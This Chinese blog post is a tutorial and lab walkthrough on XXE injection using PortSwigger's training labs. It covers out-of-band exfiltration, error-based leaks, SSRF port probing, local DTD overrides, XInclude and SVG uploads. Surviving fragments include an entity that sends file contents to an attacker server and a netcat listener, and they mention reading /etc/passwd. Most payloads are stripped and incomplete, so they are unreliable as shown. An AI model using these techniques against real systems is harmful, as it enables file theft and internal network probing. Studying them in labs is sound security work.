热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

浅解XXE与PortswiggerWebSec

XXE与PortswiggerWebSec​相关链接:​博客园​安全脉搏​FreeBuf​XML的全称为XML外部实体注入,在学习的过程中发现有回显的XXE并不多,而

XXE与Portswigger Web Sec

​ 相关链接:

​ 博客园

​ 安全脉搏

​ FreeBuf





​ XML的全称为 XML 外部实体注入,在学习的过程中发现有回显的 XXE 并不多,而大部分都是 OOB 类型的 XXE。也就是通过引用外部 dtd 实体来获取指定的信息。


// 内部实体

// 外部普通实体

// 外部参数实体
%test;
// 在 dtd 中对外部参数实体进行引用

攻击原理:

​ 已知 xml 可以引用外部的 dtd 文件。那么通过定义一个参数实体,再将需要读取文件的路径赋值给 前面定义的 参数实体,就形成了任意文件的读取。如果把实体的值换成 IP+端口,那么就可能形成一个内网探测SSRF楼漏洞。而 xml 解释器在解释 xml 的时候有两种方式,一种是一次性加载整个 xml;另一种是一部分一部分的对 xml 进行解析。如果递归的调用 xml 定义,且数据量巨大,就有可能造成拒绝服务攻击。并且联想到我们之前学习过的 sql 注入漏洞,有些通过 xml 传递的数据可能会被代入到数据库中进行查询,那么就有可能造成 sql注入攻击


基础的XXE(有回显的XXE)




1 · 直接外部 dtd


]>

&

​ 直接引用的话,最终的结果会在 Response 中回显


2 · 通过 dtd引入外部 dtd


&send;

3 · 报错的XXE

报错XXE的思路与sql注入中的报错注入类似,都是通过服务器的报错信息获取我们想要的信息


例如 这里##安全脉搏##提到的


">
]>

返回结果

​ 正是由于 xml解释器尝试解析并访问构造好的错误域名,但是由于域名错误,无法到达正确的 URL 。因此有可能会爆出错误并显示出我们想要的结果。

又或者像是这样


">
%killshot;
%error;

​ 构造一个错误的路径+正确的路径。解释器在解释 error 的时候会因为找不到正确的文件路径而报错。




XML漏洞可以间接导致很多漏洞,下图给出不同的XML解释器所支持的协议




Out-Of-Band




1 · 直接请求服务器上的dtd

​ 通过先定义一个 参数实体 来获取指定文件的内容,再通过 引用参数实体的方式请求 外部服务器配置好的 dtd来获取指定文件的内容。

如下:



%test2;
]>

​ 正如上述,直接定义一个参数实体 test1 ,让这个参数实体通过 file:// 协议请求内部的文件,再通过应用 test2 请求服务器,通过参数的形式获取指定的文件。

但是这样并不会成功,几乎在 XML 所有的解释器中都不会解释同级参数实体的内容。


使用 nc:

VPS-dtd:

">

Payload:

%remote;
%start;
%send;
]>

最后使用nc

nc -lvp 1234

2 · 嵌套请求

​ 我们直接给出 payload,并在稍后进行分析。


% test2 SYSTEM'http://vps.com/?x=%file'
>">
]>

​ 因为是嵌套的缘故,所以参数实体中的 % 需要 ENTITY 编码转义。直接将此类代码添加在数据包中是行不通的。因为在内部 ENTITY 中禁止应用参数实体。也正是因为这种限制,所以我们需要在服务器中添加 dtd,然后请求外部服务器的 dtd。

全新的 payload:

xxe:

%test;
]>

test.dtd:

">
%run1;
%run2;

​ 在上述全新的 payload 中,我们通过 应用 %test 让有 XXE 漏洞的服务器请求如上的服务器地址。然后在test.dtd 被加载的过程中,先引用 run1 实体,run1 实体的引用让 run2 实体得以加载,随后 将 file 参数实体的值通过参数的形式传递到 dns服务器上。


3 · 不允许请求外部服务器

​ 可能会存在部分主机防火墙过滤机制严格,不允许请求外部服务器的 dtd。但是我们的思路是不变的,也就是通过一个 引入一个外部的 dtd 加载修改好的实体。

​ 在操作系统中,常常会有很多自带的 dtd 文件,如下面给到的 /usr/share/yelp/dtd/docbookx.dtd 。而我们的思路就是 :

重写一个内部 dtd 所含有的参数实体,通过加载内部的 dtd 起到引用重写的 dtd 的作用。

​ 这里给出一个 payload:




">
%eval;
%send;'>
%remote;
]>
1234

上述流程:
定义一个参数实体 remote 且其值为内部 dtd 的路径;定义的 file 参数实体值需查看的文件路径。而参数实体 ISOamso 是内部实体文件所自带的 参数实体 ,并且我们使用三层嵌套将外部服务器的 URL 嵌套了进去(第三层的嵌套需要将 引号 也进行 ENTITY 编码)。
由此可见在服务器端运行的大致流程如下:
参数实体 remote 被引用,开始加载指定路径下的系统自带 dtd 。自带的dtd加载过程中引用了重写过的 ISOamso 参数实体,便开始定义出名为 eval 的参数实体键值对。即相继调用了eval 与 send。最后在加载 send 值的同时引用 file 的值。由此 /etc/passwd 的内容便被以参数的形式发送到指定的服务器上。但貌似在读取文件的时候对于 GET 最大传参大小限制这一解决问题,本人在学习的过程中并未找到相关资料



Xinclude

有的 web 应用程序会把用户输入的数据嵌入到后端的 XMl 里,然后再进行解析。这就意味着攻击者无法直接的控制整个 xml 文档,也无法修改 dtd 元素

​ 但是我们可以改用 xinclude 进行攻击,Xinclude 是一个 XML 的特性。其允许从子文档中构建 XML 文档,那么攻击的开始我们需要一个 标记 xi:include

Payload:




SVG(文件上传)

​ SVG 意为可缩放矢量图形(Scalable Vector Graphics),并且其使用 XML 定义图像。其与主流的图片格式的区别在于如果去改变他的尺寸或者是大小其图片的质量都不会发生变化。

​ 也正是由于SVG使用 XML 定义图像,因此容易造成 XSS和XXE

XXE-Payload:


]>

&file;

​ hint:

​ 在有回显的情况下,如果无法回显所有的内容,可以尝试将 SVG 图像的尺寸调大


无回显结合SVG

​ 首先在外部服务器上放置我们构造好的 dtd 文件,然后再通过上传 SVG 文件使目标机请求外部的 dtd 文档。

SVG:




%remote;
%start;
%send;
]>

&lab;

DTD:
">

​ 总而言之,SVG在XXE中也只是一个用来传输 payload 介质,除去了他是介质这一点,可以知道SVG所造成的XXE 与常规的XXE并无太大区别




靶机演练




1 · 直接外部 dtd

​ 抓取数据包

payload:


]>

&redsun;1

​ 有回显的 XXE 显示效果


2 · 通过XXE进行SSRF

​ 下图是已经修改过的数据包

​ 可以通过对端口号进行遍历,观察返回数据包的情况。以此来判断内网端口的情况。

​ 而下图可见,返回为Connection refused为关闭。否则即为开启


3 · 外带的XXE

PAYLOAD:



]>

&tao;
1

返回的DNS信息:

当然此处可以让其加载 VPS 上的 dtd 文件,而上述的dns外带简单payload 可以作为测试是否存在XXE使用

======================================

PS1:

以下的注入大部分属于盲注类型,一般的 XXE 对于信息的外带是基于 web 页面的回显。但如果 web 无回显,可以尝试使用 dns 外带(Out Of Band)的方式

PS2:

盲注的 XXE 主要设计 参数实体和内部实体。参数实体就是上面 payload 中的带有 % 的部分。而内部实体是指在一个实体内部定义另一个实体,可以理解为 实体的嵌套 。
但是内部实体是否有用取决于 编程语言的解释器 是否支持。

======================================


4 · 通过 XML 参数实体进行DNS带外交互的盲 XXE

​ 如果还是使用上面的 Payload 会显示:

Entities are not allowed for security reasons
// 处于安全原因不允许使用外部实体

​ 那么就需要对 Payload 做出一些改动:

%xxe;
]>
// 把原有的 dtd 实体信息改成这样


5 · 通过外部的dtd获取敏感信息

这一关要求我们通过让靶机访问外部的 dtd 来实现信息的外带

原始数据包:

​ 需要一台拥有域名的vps,并且有我们自己编写好的dtd


6 · 报错盲注 XXE外带

​ 这里要求我们构造报错信息,并通过报错信息显示出指定敏感文件的路径。因此我们需要在外部服务器上创建一个构造好的 dtd 文件。并用在数据包中加入构造好的payload,用以请求外部的 dtd

​ 外部 dtd 文件:

外部dtd-Payload:

">
%test;
%error;

​ 构造好的数据包:


%woo;
]>

​ 可以在报错信息中看到指定查看的 passwd 文件


7 · 重写系统自带 dtd

由于目标系统防火墙的限制,导致了无法请求外部服务器的 dtd。所以我们需要引用系统内部的 XXE,并重写其中的 参数实体

已知:
使用 GNOME 桌面环境的系统通常具有 DTD,其中包含一个名为/usr/share/yelp/dtd/docbookx.dtd
且其中的一个参数实体名为 ISOamso

​ 原始数据包:

payload:


">
%eval;
%error;
'>
%local_dtd;
]>

Response:


8 · Xinclude

​ 可以看到原始数据包中,并没有有关 xml 的信息

​ 那么我们来尝试一下使用 xinclude 来进行 XXE

Payload:

​ 可以看到在数据包中已经读取到我们定义的路径文件了


9 · SVG

Payload:

]>

&xxe;

​ 将构造好的文件上传之后再返回页面源代码中寻找靶场需要我们提交的 flag

​ 可以看到页面显示的评论里面有我们想要的东西



推荐阅读
  • 背景应用安全领域,各类攻击长久以来都危害着互联网上的应用,在web应用安全风险中,各类注入、跨站等攻击仍然占据着较前的位置。WAF(Web应用防火墙)正是为防御和阻断这类攻击而存在 ... [详细]
  • 阿,里,云,物,联网,net,core,客户端,czgl,aliiotclient, ... [详细]
  • 本文介绍了绕过WAF的XSS检测机制的方法,包括确定payload结构、测试和混淆。同时提出了一种构建XSS payload的方法,该payload与安全机制使用的正则表达式不匹配。通过清理用户输入、转义输出、使用文档对象模型(DOM)接收器和源、实施适当的跨域资源共享(CORS)策略和其他安全策略,可以有效阻止XSS漏洞。但是,WAF或自定义过滤器仍然被广泛使用来增加安全性。本文的方法可以绕过这种安全机制,构建与正则表达式不匹配的XSS payload。 ... [详细]
  • 目录浏览漏洞与目录遍历漏洞的危害及修复方法
    本文讨论了目录浏览漏洞与目录遍历漏洞的危害,包括网站结构暴露、隐秘文件访问等。同时介绍了检测方法,如使用漏洞扫描器和搜索关键词。最后提供了针对常见中间件的修复方式,包括关闭目录浏览功能。对于保护网站安全具有一定的参考价值。 ... [详细]
  • Apache Shiro 身份验证绕过漏洞 (CVE202011989) 详细解析及防范措施
    本文详细解析了Apache Shiro 身份验证绕过漏洞 (CVE202011989) 的原理和影响,并提供了相应的防范措施。Apache Shiro 是一个强大且易用的Java安全框架,常用于执行身份验证、授权、密码和会话管理。在Apache Shiro 1.5.3之前的版本中,与Spring控制器一起使用时,存在特制请求可能导致身份验证绕过的漏洞。本文还介绍了该漏洞的具体细节,并给出了防范该漏洞的建议措施。 ... [详细]
  • 跨站的艺术XSS Fuzzing 的技巧
    作者|张祖优(Fooying)腾讯云云鼎实验室对于XSS的漏洞挖掘过程,其实就是一个使用Payload不断测试和调整再测试的过程,这个过程我们把它叫做F ... [详细]
  • higuysihaveproblemwithtreeshakinginnx,problemwithassetslibrary ... [详细]
  • 通过存储型XSS漏洞获取目标用户本地私钥信息
    运维|安全存储型XSS漏洞,目标用户,本地,私钥信息运维-安全舍得网源码,vscode代码检查工具,ubuntu壁纸修改,tomcat网页部署项目,爬虫枯木,php采集文件,马鞍山 ... [详细]
  • php生成shtml类用法的简单介绍
    本文目录一览:1、phpcmsv9怎么生成shtml ... [详细]
  • 搭建Windows Server 2012 R2 IIS8.5+PHP(FastCGI)+MySQL环境的详细步骤
    本文详细介绍了搭建Windows Server 2012 R2 IIS8.5+PHP(FastCGI)+MySQL环境的步骤,包括环境说明、相关软件下载的地址以及所需的插件下载地址。 ... [详细]
  • 这是原文链接:sendingformdata许多情况下,我们使用表单发送数据到服务器。服务器处理数据并返回响应给用户。这看起来很简单,但是 ... [详细]
  • 向QTextEdit拖放文件的方法及实现步骤
    本文介绍了在使用QTextEdit时如何实现拖放文件的功能,包括相关的方法和实现步骤。通过重写dragEnterEvent和dropEvent函数,并结合QMimeData和QUrl等类,可以轻松实现向QTextEdit拖放文件的功能。详细的代码实现和说明可以参考本文提供的示例代码。 ... [详细]
  • Java使用poi 5.0解析Excel工作簿的例子
    写在之前Excel文档是日常办公中非常普遍的一种数据记录模式。在业务场景中,往往有“导入Excel到某某系统中”的需求,所以这里记录一种使用poi5.0系 ... [详细]
  • 今天周六,原则上要休息,但想到下周还有一堆任务,还是先做一部分工作吧,就把之前做的票面设计器改了改,增加了上传图片和更换背景底图的功能。现在打算整理下这个设计器,也算对齐一个总结。不过这属于我们部门的 ... [详细]
  • <svg ... [详细]
author-avatar
觉悟
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有